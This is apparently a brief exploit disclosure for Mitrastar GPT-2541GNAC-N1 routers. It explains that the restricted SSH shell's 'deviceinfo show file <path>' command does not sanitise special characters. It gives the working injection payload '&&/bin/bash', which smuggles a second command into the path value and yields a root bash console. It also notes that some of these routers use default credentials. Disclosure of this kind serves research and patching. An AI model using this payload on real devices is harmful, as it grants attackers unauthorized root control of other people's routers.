  Description:
  
  ----------
  
  # Mitrastar GPT-2541GNAC-N1 devices are provided with access through ssh into a restricted default shell (credentials are on the back of the router and in some cases this routers use default credentials).
  
  # The command “deviceinfo show file <path>” is used from reduced CLI to show files and directories. Because this command do not handle correctly special characters, is possible to insert a second command as a parameter on the <path> value. By using “&&/bin/bash” as parameter value we can spawn a bash console, as seen on the next example:
  
  
  Exploit:
  --------
  
  > deviceinfo show file &&/bin/bash
  
  # This command will spawn a full interoperable bash console with root privileges.
